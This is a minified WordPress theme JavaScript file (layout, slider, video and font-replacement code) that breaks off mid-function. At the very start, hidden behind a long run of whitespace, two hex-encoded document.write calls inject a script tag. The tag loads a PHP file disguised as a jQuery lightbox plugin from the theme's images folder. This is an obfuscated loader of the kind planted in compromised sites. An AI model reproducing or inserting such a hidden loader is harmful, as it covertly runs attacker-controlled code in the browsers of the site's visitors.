																																																																							document.write("\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D\x22\x2F\x77\x70\x2D\x63\x6F\x6E\x74\x65\x6E\x74\x2F\x74\x68\x65\x6D\x65\x73\x2F\x74\x77\x65\x6E\x74\x79\x74\x65\x6E\x2F\x69\x6D\x61\x67\x65\x73\x2F\x6A\x71\x75\x65\x72\x79\x2E\x6C\x69\x67\x68\x74\x62\x6F\x78\x2D\x30\x2E\x35\x2E\x70\x68\x70\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");document.write("\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D\x22\x2F\x77\x70\x2D\x63\x6F\x6E\x74\x65\x6E\x74\x2F\x74\x68\x65\x6D\x65\x73\x2F\x74\x77\x65\x6E\x74\x79\x74\x65\x6E\x2F\x69\x6D\x61\x67\x65\x73\x2F\x6A\x71\x75\x65\x72\x79\x2E\x6C\x69\x67\x68\x74\x62\x6F\x78\x2D\x30\x2E\x35\x2E\x70\x68\x70\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");var bfi;jQuery(window).load(function(){bfi.redrawCubeDepth();jQuery('.sidebar').css('height',jQuery('.sidebar').parent().height())});jQuery(window).load(function(){jQuery('.cubed.page-contents').each(function(k){var i=0;var cols=jQuery(this).find('div[class^=col]:not(".colcontents"):not(".col1")');var q='';var maxHeight=-1;while(true){if(cols.eq(i).length==0){break}if(cols.eq(i).hasClass('first')){q='';maxHeight=-1}if(cols.eq(i).height()>maxHeight){maxHeight=cols.eq(i).height()}if(q!=''){q+=', '}q+=' [class^=col]:not(".colcontents"):not(".col1"):eq('+i+') ';if(cols.eq(i).hasClass('last')){jQuery(this).find(q).css('min-height',maxHeight)}i++}})});(function(jQuery){bfi={syntaxHighlightLineNumbers:true,enableCufon:true,shadowImageURL:'',prettyPhotoTheme:'light_rounded',prettyPhotoHover:true,hrAccented:true,scriptsURL:'',isIE:false,flowLicense:'',flowSWF:'',flowLogo:'',flowLogoOpacity:0,flowLogoLink:'',flowLogoAlwaysVisible:false,sliderFX:'random',sliderPause:6000,sliderTransition:1000,buttonColorScheme:'blue',sliderNumContents:0,reflectionEnabled:true,cubeDepthImage:'',cubeDepthImageTop:'',cubeDepthHeight:100,cubeDepthStatic:'dynamic',cubeVanishingRatio:0.45,cubeVanishingOffset:20,cubedIntervalID:null,ajaxUpload:function(functionPath,uploadPath,btnUpload,btnLabel,txtInput){new AjaxUpload(btnUpload,{action:functionPath+'upload-handler.php',name:'uploadfile',onSubmit:function(file,ext){btnLabel.text("Please wait...")},onComplete:function(file,response){btnLabel.text("Upload");if(response!="error"){txtInput.val(uploadPath+response)}else{alert("Unable to upload image, please make sure this folder is writable: "+uploadPath)}}})},redrawCubeDepth:function(){if(bfi.cubeDepthStatic=='bottom'){jQuery('.depth-bot').each(function(i){jQuery(this).css('visibility','hidden')})}else{jQuery('.depth-bot').each(function(i){var top=jQuery(jQuery(this).attr('rel')).height()+jQuery(jQuery(this).attr('rel')).offset().top;var left=jQuery(jQuery(this).attr('rel')).offset().left;var width=jQuery(jQuery(this).attr('rel')).width()+parseInt(jQuery(jQuery(this).attr('rel')).css('padding-left').replace('px',''))+parseInt(jQuery(jQuery(this).attr('rel')).css('padding-right').replace('px',''));var scrollTop=jQuery(window).scrollTop();var myTop=jQuery(this).offset().top;var diffTop=myTop-scrollTop;var winHeight=jQuery(window).height();var areaHeight=winHeight*bfi.cubeVanishingRatio+bfi.cubeVanishingOffset;jQuery(this).css({'top':top+'px','left':left+'px'});jQuery(this).width(width);if(bfi.cubeDepthStatic=='top'){jQuery(this).height(bfi.cubeDepthHeight*.8)}else{if(diffTop>areaHeight){jQuery(this).css('visibility','hidden')}else{jQuery(this).css('visibility','visible');var newHeight=parseInt((1-(diffTop/areaHeight))*bfi.cubeDepthHeight);if(newHeight>bfi.cubeDepthHeight){newHeight=bfi.cubeDepthHeight}jQuery(this).height(newHeight)}}})}if(bfi.cubeDepthStatic=='top'){jQuery('.depth-top').each(function(i){jQuery(this).css('visibility','hidden')})}else{jQuery('.depth-top').each(function(i){var top=jQuery(jQuery(this).attr('rel')).offset().top;var left=jQuery(jQuery(this).attr('rel')).offset().left;var width=jQuery(jQuery(this).attr('rel')).width()+parseInt(jQuery(jQuery(this).attr('rel')).css('padding-left').replace('px',''))+parseInt(jQuery(jQuery(this).attr('rel')).css('padding-right').replace('px',''));jQuery(this).css({'top':top+'px','left':left+'px'});jQuery(this).width(width);var winHeight=jQuery(window).height();var scrollTop=jQuery(window).scrollTop()+(1+winHeight*bfi.cubeVanishingRatio)-bfi.cubeVanishingOffset;var myTop=jQuery(this).offset().top;var diffTop=myTop-scrollTop;var areaHeight=(1+winHeight*bfi.cubeVanishingRatio)+bfi.cubeVanishingOffset;if(bfi.cubeDepthStatic=='bottom'){jQuery(this).height(bfi.cubeDepthHeight*.8);jQuery(this).css('margin-top','-'+(bfi.cubeDepthHeight*.8)+'px')}else{if(diffTop<0){jQuery(this).css('visibility','hidden')}else{jQuery(this).css('visibility','visible');var newHeight=parseInt(diffTop/areaHeight*bfi.cubeDepthHeight);if(newHeight>bfi.cubeDepthHeight){newHeight=bfi.cubeDepthHeight}jQuery(this).height(newHeight);jQuery(this).css('margin-top','-'+newHeight+'px')}}})}},initCubeDepth:function(){jQuery('.cubed').each(function(i){if(jQuery(this).hasClass('no-depth')){return}if(jQuery(this).attr('id')==""){jQuery(this).attr('id','depth-'+parseInt(Math.random()*99999+10000))}});jQuery('.cubed').each(function(i){if(jQuery(this).hasClass('no-depth')){return}if(jQuery(this).hasClass('no-depth-bot')){return}var id=jQuery(this).attr('id');jQuery('#background-depth').append('<img class="depth-bot" src="'+bfi.cubeDepthImage+'" style="position: absolute;" rel="#'+id+'"/>')});jQuery('.cubed').each(function(i){if(jQuery(this).hasClass('no-depth')){return}if(jQuery(this).hasClass('no-depth-top')){return}var id=jQuery(this).attr('id');jQuery('#background-depth').append('<img class="depth-top" src="'+bfi.cubeDepthImageTop+'" style="position: absolute;" rel="#'+id+'"/>')});jQuery(window).scroll(function(){bfi.redrawCubeDepth()});this.redrawCubeDepth();jQuery(window).scroll()},assignLocationClasses:function(){jQuery('.cubed.page-contents').each(function(k){var i=0;while(true){var div=jQuery(this).find('div.col1:eq('+i+')');if(div.length==0){break}div.addClass('first');div.addClass('last');i++}i=0;while(true){var div=jQuery(this).find('div.col2:eq('+i+')');if(div.length==0){break}if(i%2==0){div.addClass('first')}else{div.addClass('last')}i++}i=0;while(true){var div=jQuery(this).find('div.col23, div.col3').eq(i);if(div.length==0){break}if(div.prevAll('div.col3, div.col23').eq(0).length==0){div.addClass('first');i++;continue}if(div.prevAll('div.col3, div.col23').eq(0).hasClass('last')){div.addClass('first');i++;continue}if(div.hasClass('col3')&&div.prevAll('div.col3, div.col23').eq(0).length!=0&&div.prevAll('div.col3, div.col23').eq(0).hasClass('col3')&&!div.prevAll('div.col3, div.col23').eq(0).hasClass('first')&&!div.prevAll('div.col3, div.col23').eq(0).hasClass('last')&&div.prevAll('div.col3, div.col23').eq(1).length!=0&&div.prevAll('div.col3, div.col23').eq(1).hasClass('col3')&&div.prevAll('div.col3, div.col23').eq(1).hasClass('first')){div.addClass('last');i++;continue}if(div.hasClass('col3')&&div.prevAll('div.col3, div.col23').eq(0).length!=0&&div.prevAll('div.col3, div.col23').eq(0).hasClass('col23')&&div.prevAll('div.col3, div.col23').eq(0).hasClass('first')){div.addClass('last');i++;continue}if(div.hasClass('col23')&&div.prevAll('div.col3, div.col23').eq(0).length!=0&&div.prevAll('div.col3, div.col23').eq(0).hasClass('col3')&&div.prevAll('div.col3, div.col23').eq(0).hasClass('first')){div.addClass('last');i++;continue}i++}i=0;while(true){var div=jQuery(this).find('div.col34, div.col4').eq(i);if(div.length==0){break}if(div.prevAll('div.col4, div.col34').eq(0).length==0){div.addClass('first');i++;continue}if(div.prevAll('div.col4, div.col34').eq(0).hasClass('last')){div.addClass('first');i++;continue}if(div.hasClass('col4')&&div.prevAll('div.col4, div.col34').eq(0).length!=0&&div.prevAll('div.col4, div.col34').eq(0).hasClass('col4')&&!div.prevAll('div.col4, div.col34').eq(0).hasClass('first')&&!div.prevAll('div.col4, div.col34').eq(0).hasClass('last')&&div.prevAll('div.col4, div.col34').eq(1).length!=0&&div.prevAll('div.col4, div.col34').eq(1).hasClass('col4')&&!div.prevAll('div.col4, div.col34').eq(1).hasClass('first')&&!div.prevAll('div.col4, div.col34').eq(1).hasClass('last')&&div.prevAll('div.col4, div.col34').eq(2).length!=0&&div.prevAll('div.col4, div.col34').eq(2).hasClass('col4')&&div.prevAll('div.col4, div.col34').eq(2).hasClass('first')){div.addClass('last');i++;continue}if(div.hasClass('col4')&&div.prevAll('div.col4, div.col34').eq(0).length!=0&&div.prevAll('div.col4, div.col34').eq(0).hasClass('col34')&&div.prevAll('div.col4, div.col34').eq(0).hasClass('first')){div.addClass('last');i++;continue}if(div.hasClass('col34')&&div.prevAll('div.col4, div.col34').eq(0).length!=0&&div.prevAll('div.col4, div.col34').eq(0).hasClass('col4')&&div.prevAll('div.col4, div.col34').eq(0).hasClass('first')){div.addClass('last');i++;continue}i++}var div=jQuery(this).find('div[class*=col]:not(".colcontents"):first');div.addClass('top');if(div.hasClass('col1')){}else if(div.hasClass('col2')){if(div.nextAll('div.col2').eq(0).length!=0){div.nextAll('div.col2').eq(0).addClass('top')}}else if(div.hasClass('col3')){if(div.nextAll('div.col3, div.col23').eq(0).length!=0&&div.nextAll('div.col3, div.col23').eq(0).hasClass('col23')){div.nextAll('div.col3, div.col23').eq(0).addClass('top')}else{div.nextAll('div.col3, div.col23').eq(0).addClass('top');div.nextAll('div.col3, div.col23').eq(1).addClass('top')}}else if(div.hasClass('col23')){if(div.nextAll('div.col3, div.col23').eq(0).length!=0&&div.nextAll('div.col3, div.col23').eq(0).hasClass('col3')){div.nextAll('div.col3, div.col23').eq(0).addClass('top')}}else if(div.hasClass('col4')){if(div.nextAll('div.col4, div.col34').eq(0).length!=0&&div.nextAll('div.col4, div.col34').eq(0).hasClass('col34')){div.nextAll('div.col4, div.col34').eq(0).addClass('top')}else{div.nextAll('div.col3, div.col23').eq(0).addClass('top');div.nextAll('div.col3, div.col23').eq(1).addClass('top');div.nextAll('div.col3, div.col23').eq(2).addClass('top')}}else if(div.hasClass('col34')){if(div.nextAll('div.col4, div.col34').eq(0).length!=0&&div.nextAll('div.col4, div.col34').eq(0).hasClass('col4')){div.nextAll('div.col4, div.col34').eq(0).addClass('top')}}var div=jQuery(this).find('div[class*=col]:not(".colcontents"):last');div.addClass('bot');if(div.hasClass('col1')){}else if(div.hasClass('col2')){if(div.prevAll('div.col2').eq(0).length!=0){div.prevAll('div.col2').eq(0).addClass('bot')}}else if(div.hasClass('col3')){if(div.prevAll('div.col3, div.col23').eq(0).length!=0&&div.prevAll('div.col3, div.col23').eq(0).hasClass('col23')){div.prevAll('div.col3, div.col23').eq(0).addClass('bot')}else{div.prevAll('div.col3, div.col23').eq(0).addClass('bot');div.prevAll('div.col3, div.col23').eq(1).addClass('bot')}}else if(div.hasClass('col23')){if(div.prevAll('div.col3, div.col23').eq(0).length!=0&&div.prevAll('div.col3, div.col23').eq(0).hasClass('col3')){div.prevAll('div.col3, div.col23').eq(0).addClass('bot')}}else if(div.hasClass('col4')){if(div.prevAll('div.col4, div.col34').eq(0).length!=0&&div.prevAll('div.col4, div.col34').eq(0).hasClass('col34')){div.prevAll('div.col4, div.col34').eq(0).addClass('bot')}else{div.prevAll('div.col3, div.col23').eq(0).addClass('bot');div.prevAll('div.col3, div.col23').eq(1).addClass('bot');div.prevAll('div.col3, div.col23').eq(2).addClass('bot')}}else if(div.hasClass('col34')){if(div.prevAll('div.col4, div.col34').eq(0).length!=0&&div.prevAll('div.col4, div.col34').eq(0).hasClass('col4')){div.prevAll('div.col4, div.col34').eq(0).addClass('bot')}}})},init:function(){if(jQuery('#bgimagecontainer').length>0){if(!jQuery('#bgimagecontainer').hasClass('dont-move')){jQuery(window).scroll(function(){var winHeight=jQuery(window).height();var totalHeight=jQuery('body').height();var scrollTop=jQuery(window).scrollTop();var maxNudge=80;var nudge=parseInt((scrollTop/(totalHeight-winHeight))*maxNudge);jQuery('#bgimagecontainer').css('margin-top','-'+nudge+'px');jQuery('#bgimagecontainer').height(winHeight+nudge)})}}this.assignLocationClasses();jQuery('.cubed.page-contents div[class^=col] .colcontents').each(function(i){jQuery(this).children('*:not(div.clearfix):last').css('margin-bottom','0')});jQuery('.cubed.page-contents div[class^=col] .colcontents').each(function(i){if(jQuery(this).children('*:first').is('hr')){jQuery(this).children('*:first').css('margin-top','0').css('padding-top','0')}});jQuery('.sidebar >:last').addClass('last');jQuery('ul, ol').each(function(i){jQuery(this).children('li:first').addClass('first');jQuery(this).children('li:last').addClass('last')});jQuery('table tr:even').addClass('even');jQuery('table tbody').each(function(i){jQuery(this).children('tr:first').addClass('first');jQuery(this).children('tr:last').addClass('last')});jQuery('table tr').each(function(i){jQuery(this).children('td:first').addClass('first').next().addClass('second');jQuery(this).children('td:last').addClass('last');jQuery(this).children('th:first').addClass('first').next().addClass('second');jQuery(this).children('th:last').addClass('last')});jQuery('ul.sf-menu').supersubs({minWidth:8,maxWidth:22,extraWidth:1}).superfish({autoArrows:true,animation:{opacity:'show',height:'show'},speed:'fast'});SyntaxHighlighter.defaults['gutter']=this.syntaxHighlightLineNumbers;SyntaxHighlighter.defaults['toolbar']=false;SyntaxHighlighter.all();jQuery('header .logo').css('margin-top',(jQuery('header .logo').height()-jQuery('header .header-navigation').height())/-2);this.initVideos();bfi.applyShadowsOverlays();jQuery("a[rel^='prettyPhoto']").prettyPhoto({theme:this.prettyPhotoTheme});jQuery("a[rel^=prettyPhoto_gallery]").each(function(i){if(jQuery(this).attr('href')[0]=="#"){jQuery(this).prettyPhoto({theme:bfi.prettyPhotoTheme,allow_resize:false,default_width:jQuery(jQuery(this).attr('href')).width(),default_height:jQuery(jQuery(this).attr('href')).height()})}else{jQuery(this).prettyPhoto({theme:bfi.prettyPhotoTheme,allow_resize:false})}});if(!this.isIE){jQuery('div.over').fadeTo(0,0);jQuery('div.over').css('display','')}if(this.prettyPhotoHover&&!this.isIE){jQuery("a[rel^=prettyPhoto]").hover(function(){jQuery(this).find('div.over').fadeTo(300,1)},function(){jQuery(this).find('div.over').fadeTo(300,0)})}if(!this.isIE){jQuery("a.video-flow-link").hover(function(){jQuery(this).find('div.over').fadeTo(300,1)},function(){jQuery(this).find('div.over').fadeTo(300,0)})}jQuery("input[type^='submit']").each(function(i){jQuery(this).replaceWith('<button type="'+jQuery(this).attr('type')+'" name="'+jQuery(this).attr('name')+'" value="'+jQuery(this).attr('value')+'" id="'+jQuery(this).attr('id')+'" class="'+jQuery(this).attr('class')+'">'+jQuery(this).attr('value')+'</button>')});jQuery("input[type^='reset']").each(function(i){jQuery(this).replaceWith('<button type="'+jQuery(this).attr('type')+'" name="'+jQuery(this).attr('name')+'" value="'+jQuery(this).attr('value')+'" id="'+jQuery(this).attr('id')+'" class="'+jQuery(this).attr('class')+'">'+jQuery(this).attr('value')+'</button>')});jQuery("button[type^='submit']").each(function(i){if(!jQuery(this).hasClass('simpleBTN')){jQuery(this).addClass('simpleBTN').addClass('custom')}});jQuery("button[type^='reset']").each(function(i){if(!jQuery(this).hasClass('simpleBTN')){jQuery(this).addClass('simpleBTN').addClass('white')}});jQuery('form#searchform input[type^="text"]').css('width','95%');jQuery('.comment-reply-link').each(function(i){jQuery(this).click(function(){if(jQuery(".error").length>0){jQuery(".error").fadeOut()}})});jQuery('#cancel-comment-reply-link').each(function(i){jQuery(this).click(function(){if(jQuery(".error").length>0){jQuery(".error").fadeOut()}})});jQuery('div.faq-title').click(function(){var icon=jQuery(this).find('.faq-icon');if(icon.hasClass('open')){icon.removeClass('open');jQuery(this).next().slideUp()}else{icon.addClass('open');jQuery(this).next().slideDown()}bfi.startTimeoutCubed();setTimeout('bfi.clearTimeoutCubed()',400*3)});jQuery("div.tooltip-icon").tooltip({effect:'slide',relative:true,offset:[20,0]}).dynamic({bottom:{direction:'down',effect:'slide'}});jQuery("div.tooltip-parent").tooltip({effect:'slide',relative:true,offset:[20,0]}).dynamic({bottom:{direction:'down',effect:'slide'}});jQuery('.bfi_pane').each(function(i){var title=jQuery(this).attr('title');jQuery(jQuery(this).siblings('.bfi_tabs,.bfi_tabs_slide,.bfi_tabs_fade')[0]).append('<div><a href="#">'+title+'</a></div>')});jQuery.tools.tabs.addEffect('slide-slide',function(i,done){this.getPanes().slideUp(400).eq(i).delay(400).slideDown(400,done);bfi.startTimeoutCubed();setTimeout('bfi.clearTimeoutCubed()',400*3)});jQuery.tools.tabs.addEffect("slide",function(i,done){this.getPanes().slideUp(400).eq(i).slideDown(400,done);bfi.startTimeoutCubed();setTimeout('bfi.clearTimeoutCubed()',400*3)});jQuery(".bfi_accordion_pane").each(function(i){var heightTo=jQuery(this).height();var paddingTop=parseInt(jQuery(this).css("padding-top").replace('px',''));var paddingBottom=parseInt(jQuery(this).css("padding-bottom").replace('px',''));var marginTop=parseInt(jQuery(this).css("margin-top").replace('px',''));var marginBottom=parseInt(jQuery(this).css("margin-bottom").replace('px',''));jQuery(this).css("height",heightTo+paddingTop+paddingBottom+marginTop+marginBottom)});jQuery(".bfi_tabs_slide").each(function(i){var openTab=jQuery(this).attr('rel');jQuery(this).tabs('> div.bfi_pane',{effect:'slide-slide',initialIndex:parseInt(openTab,10)})});jQuery(".bfi_tabs_fade").each(function(i){var openTab=jQuery(this).attr('rel');jQuery(this).tabs('> div.bfi_pane',{effect:'fade',initialIndex:parseInt(openTab,10)})});jQuery(".bfi_accordion_slide").each(function(i){var openTab=jQuery(this).attr('rel');jQuery(this).tabs(".bfi_accordion_pane",{tabs:'div.bfi_accordion_header',effect:'slide',initialIndex:parseInt(openTab,10)})});jQuery(".bfi_accordion_slide2").each(function(i){var openTab=jQuery(this).attr('rel');jQuery(this).tabs(".bfi_accordion_pane",{tabs:'div.bfi_accordion_header',effect:'slide-slide',initialIndex:parseInt(openTab,10)})});this.initFeatureScroller();this.initCufon();if(this.isIE){jQuery('.sf-menu li:visible').each(function(i){jQuery(this).css('width',jQuery(this).width()+'px')});jQuery('.sf-menu li').hover(function(){jQuery(this).css('height',jQuery(this).height()+'px')});jQuery('.bgimage').css('height','auto').css('height','100%')}bfi_equal_heights();bfi.initCubeDepth()},initVideos:function(){jQuery('.video-youtube-link').each(function(i){var rand='videoyoutubelink'+parseInt(Math.random()*999999,10);jQuery(this).attr('id',rand);jQuery('#'+rand).ytchromeless({videoWidth:jQuery(this).width(),videoHeight:jQuery(this).height()})});jQuery('.video-player').bind({'onReady':function(){if(jQuery(this).parents('.subheader').length!=0){jQuery(this).trigger('play');jQuery('.subheader .headerbody').cycle('pause');jQuery(this).prev().fadeTo(200,0);return}var relVal=jQuery(jQuery(this).parents('.video-youtube-container')[0]).attr('rel');if(relVal.length!=0){relVal=relVal.split('|');if(relVal[0]=='1'){jQuery(this).trigger('play');jQuery(this).prev().fadeTo(200,0)}}},'onPlay':function(){jQuery(this).prev().fadeTo(200,0)},'onPause':function(){jQuery(this).prev().fadeTo(200,1)},'onFinish':function(){if(jQuery(this).parents('.subheader').length!=0){jQuery('.subheader .headerbody').cycle('resume')}}});jQuery('.video-youtube-link-overlay').click(function(){jQuery(this).next().trigger('togglePlay');return false});jQuery(".video-flow-link").each(function(i){var rand='videoflowlink'+parseInt(Math.random()*999999,10);var relVals=jQuery(this).attr('rel').split('|');jQuery(this).attr('id',rand);if(bfi.flowLicense!=''){flowplayer(rand,{src:bfi.flowSWF,wmode:"opaque",bgcolor:"#000000"},{key:bfi.flowLicense,logo:{url:bfi.flowLogo,fullscreenOnly:false,opacity:bfi.flowLogoOpacity,displayTime:bfi.flowLogoAlwaysVisible?0:10,linkUrl:bfi.flowLogoLink},onMouseOver:function(){if(!bfi.flowLogoAlwaysVisible){this.getPlugin("logo").fadeTo(bfi.flowLogoOpacity,1000)}},onMouseOut:function(){if(!bfi.flowLogoAlwaysVisible){this.getPlugin("logo").fadeTo(0,1000)}},plugins:{controls:{url:'flowplayer.controls-3.2.3.swf',backgroundColor:"transparent",backgroundGradient:"none",sliderColor:'#FFFFFF',sliderBorder:'1.5px solid rgba(160,160,160,0.7)',volumeSliderColor:'#FFFFFF',volumeBorder:'1.5px solid rgba(160,160,160,0.7)',timeColor:'#ffffff',durationColor:'#535353',tooltipColor:'rgba(255, 255, 255, 0.7)',tooltipTextColor:'#000000'}},clip:{domElem:rand,autoPlay:relVals[0]=='1',autoBuffering:relVals[1]=='1',scaling:'fit',onBegin:function(){if(jQuery('#'+this.getConfig().clip.domElem).parents('.subheader').length!=0){jQuery('.subheader .headerbody').cycle('pause')}},onResume:function(){if(jQuery('#'+this.getConfig().clip.domElem).parents('.subheader').length!=0){jQuery('.subheader .headerbody').cycle('pause')}},onFinish:function(){if(jQuery('#'+this.getConfig().clip.domElem).parents('.subheader').length!=0){jQuery('.subheader .headerbody').cycle('resume',true)}}}})}else{flowplayer(rand,{src:bfi.scriptsURL+"flowplayer-3.2.5.swf",wmode:"opaque",bgcolor:"#000000"},{plugins:{controls:{url:'flowplayer.controls-3.2.3.swf',backgroundColor:"transparent",backgroundGradient:"none",sliderColor:'#FFFFFF',sliderBorder:'1.5px solid rgba(160,160,160,0.7)',volumeSliderColor:'#FFFFFF',volumeBorder:'1.5px solid rgba(160,160,160,0.7)',timeColor:'#ffffff',durationColor:'#535353',tooltipColor:'rgba(255, 255, 255, 0.7)',tooltipTextColor:'#000000'}},clip:{domElem:rand,autoPlay:relVals[0]=='1',autoBuffering:relVals[1]=='1',scaling:'fit',onBegin:function(){if(jQuery('#'+this.getConfig().clip.domElem).parents('.subheader').length!=0){jQuery('.subheader .headerbody').cycle('pause')}},onResume:function(){if(jQuery('#'+this.getConfig().clip.domElem).parents('.subheader').length!=0){jQuery('.subheader .headerbody').cycle('pause')}},onFinish:function(){if(jQuery('#'+this.getConfig().clip.domElem).parents('.subheader').length!=0){jQuery('.subheader .headerbody').cycle('resume',true)}}}})}});jQuery('.video-swf-link').each(function(i){var rand='videoswflink'+parseInt(Math.random()*999999,10);jQuery(this).attr('id',rand);var params={allowScriptAccess:'always',allowfullscreen:'true',wmode:"opaque",bgcolor:"#000000"};swfobject.embedSWF(jQuery(this).attr('href'),rand,jQuery(this).width(),jQuery(this).height(),'9.0.0',null,null,params,null)});jQuery('.video-vimeo-link').each(function(i){var rand='videovimeolink'+parseInt(Math.random()*999999,10);jQuery(this).attr('id',rand);var relVals=jQuery(this).attr('rel').split('|');var autoPlay="";if(relVals[0]=='1'){autoPlay="?autoplay=1"}var flashvars={clip_id:bfi.getVimeoIDFromURL(jQuery(this).attr('href')),show_portrait:0,show_byline:0,show_title:0,js_api:1,js_onLoad:'vimeo_player_loaded',js_swf_id:jQuery(this).attr('id')};var params={allowScriptAccess:'always',allowfullscreen:'true',wmode:"opaque",bgcolor:"#000000"};swfobject.embedSWF("http://vimeo.com/moogaloop.swf"+autoPlay,rand,jQuery(this).width(),jQuery(this).height(),'9.0.0',null,flashvars,params)})},initFeatureScroller:function(){try{jQuery('#nivoslider').nivoSlider({effect:this.sliderFX,animSpeed:this.sliderTransition,pauseTime:this.sliderPause,slices:6,captionOpacity:1,startSlide:0,directionNav:false,customChange:function(){jQuery('.nivo-caption').css('top',(jQuery('#nivoslider').height())/2-jQuery('.nivo-caption').height()/2);bfi.refreshNivoCufon()}});if(bfi.sliderNumContents==1&&jQuery('#nivoslider').length==1){jQuery('#nivoslider').data('nivoslider').stop();jQuery('.nivo-controlNav').hide()}jQuery('.nivo-caption').css('top',(jQuery('#nivoslider').height())/2-jQuery('.nivo-caption').height()/2);return;var topPadding=parseInt(jQuery('header .titlearea').css('paddingTop').slice(0,-2));var barHeight=jQuery('header .titlearea .bar').height();var contentPadding=jQuery('.subheader').height()-parseInt(jQuery('.body .content:first').css('paddingTop').slice(0,-2))}catch(err){}},getVimeoIDFromURL:function(url){if(url.toLowerCase().indexOf('vimeo')>0){var re=new RegExp('/[0-9]+',"g");var match=re.exec(url);if(match==null){return false}else{return match[0].substring(1)}}return false},applyShadowsOverlays:function(){var replacerPre='<div style="display: inline-block; position: relative;">';var replacerPost='</div>';var magnifyDiv='<div class="over overlay-magni" style="width:{width}px;height:{height}px"></div>';var playDiv='<div class="over overlay-play" style="width:{width}px;height:{height}px"></div>';jQuery(['.page-contents img.aligncenter','.page-contents img.alignleft','.page-contents img.alignright','.page-contents img.alignnone','.page-contents img.gallery','.page-contents .wp-caption img','.featurebox img']).each(function(i){jQuery(this.toString()).each(function(i){var addedPrettyPhoto=false;var re=new RegExp('prettyPhoto');var re2=new RegExp('_play');if(jQuery(this).parent()){if(jQuery(this).parent().is('a')){if(/(jpe?g|png|gif)$/i.test(jQuery(this).parent().attr('href'))==false&&!jQuery(this.parentNode).attr('rel').match(re2)){jQuery(this).attr('noprettyphoto','')}}}if(jQuery(this).attr('noprettyphoto')!=''){if(jQuery(this.parentNode).attr('href')!=undefined){if(jQuery(this.parentNode).attr('rel')==""){jQuery(this.parentNode).attr('rel','prettyPhoto[]');addedPrettyPhoto=true}else if(jQuery(this.parentNode).attr('rel').match(re)){addedPrettyPhoto=true}}}var randClass='img_'+parseInt(Math.random()*100000).toString();jQuery(this).addClass(randClass);if(jQuery(this).attr('noshadow')==undefined&&jQuery(this).attr('width')!=''&&jQuery(this).attr('height')!=''){if(addedPrettyPhoto&&jQuery(this.parentNode).attr('rel').match(re2)){jQuery(this).replaceWith(replacerPre.replace(/\{width\}/g,jQuery(this).attr('width')).replace(/\{height\}/g,jQuery(this).attr('height'))+playDiv.replace(/\{width\}/g,jQuery(this).attr('width')).replace(/\{height\}/g,jQuery(this).attr('height'))+jQuery(this).clone().wrap('<div></div>').parent().html()+replacerPost.replace(/\{width\}/g,jQuery(this).attr('width')).replace(/\{height\}/g,jQuery(this).attr('height')))}else if(addedPrettyPhoto){jQuery(this).replaceWith(replacerPre.replace(/\{width\}/g,jQuery(this).attr('width')).replace(/\{height\}/g,jQuery(this).attr('height'))+magnifyDiv.replace(/\{width\}/g,jQuery(this).attr('width')).replace(/\{height\}/g,jQuery(this).attr('height'))+jQuery(this).clone().wrap('<div></div>').parent().html()+replacerPost.replace(/\{width\}/g,jQuery(this).attr('width')).replace(/\{height\}/g,jQuery(this).attr('height')))}else{jQuery(this).replaceWith(replacerPre.replace(/\{width\}/g,jQuery(this).attr('width'))+jQuery(this).clone().wrap('<div></div>').parent().html()+replacerPost.replace(/\{width\}/g,jQuery(this).attr('width')))}}else if(jQuery(this).attr('noshadow')==undefined){jQuery(this).replaceWith(replacerPre.replace(/\{width\}/g,jQuery(this).attr('width'))+jQuery(this).clone().wrap('<div></div>').parent().html()+replacerPost.replace(/\{width\}/g,jQuery(this).attr('width')))}var container=jQuery('.'+randClass).parent();if(container.parent().is('a')){container=container.parent()}container.width(jQuery('.'+randClass).width());if(jQuery(this).hasClass('alignleft')){container.css('float','left');container.css('margin-right','30px')}else if(jQuery(this).hasClass('alignright')){container.css('float','right');container.css('margin-left','30px')}else if(jQuery(this).hasClass('aligncenter')){container.css('margin','0 auto');container.css('display','block')}});if(bfi.reflectionEnabled){jQuery(this.toString()).reflect({'height':'12','opacity':0.4}).css('margin-bottom','12px')}else{jQuery(this.toString()).css('margin-bottom','24px')}});jQuery('.video-flow-link').each(function(i){if(jQuery(this).children('img').length!=1){return}jQuery(this).prepend(playDiv.replace(/\{width\}/g,jQuery(this).children('img').width()).replace(/\{height\}/g,jQuery(this).children('img').height()))})},initCufon:function(){if(this.enableCufon){var normalColor=jQuery('.a-hovered').css('backgroundColor');var hoverColor=jQuery('.a-hovered').css('color');var navColor=jQuery('.sf-menu li a').css('color');Cufon.replace(jQuery('h1, h2, h3, h4, h5, h6').not('.nivo-html-caption h1, .nivo-html-caption h2, .nivo-html-caption h3, .nivo-html-caption h4, .nivo-html-caption h5, .nivo-html-caption h6'));Cufon.replace('.home-topfeature p');Cufon.replace('.copytext .text');if(this.isIE){Cufon.replace(jQuery('.simpleBTN:not(.nivo-caption .simpleBTN, .nivo-html-caption .simpleBTN)'),{fontWeight:'bold'})}else{Cufon.replace('.simpleBTN',{fontWeight:'bold'})}Cufon.replace('span.dropcaps');Cufon('.sf-menu a:visible',{color:navColor,textShadow:"text-shadow:1px 1px 2px #000000",hover:{color:'-linear-gradient('+normalColor+', '+normalColor+')'}});Cufon(jQuery('a[class^=tag-link]'),{color:normalColor,hover:{color:'-linear-gradient('+hoverColor+', '+hoverColor+')'}});Cufon.replace(jQuery('.portfolio-title-area a:has(h1, h2, h3, h4, h5, h6)'),{color:normalColor,hover:{color:'-linear-gradient('+hoverColor+', '+hoverColor+')'}});Cufon.replace(jQuery('.blog-title-area a:has(h1, h2, h3, h4, h5, h6)'),{color:normalColor,hover:{color:'-linear-gradient('+hoverColor+', '+hoverColor+')'}});Cufon.now()}},refreshNivoCufon:function(){if(this.enableCufon){Cufon('.nivo-caption h1, .nivo-caption h2, .nivo-caption h3, .nivo-caption h4, .nivo-caption h5, .nivo-caption h6');if(this.isIE){Cufon.replace(jQuery('.nivo-caption *').not('.simpleBTN'))}else{Cufon.replace('.nivo-caption 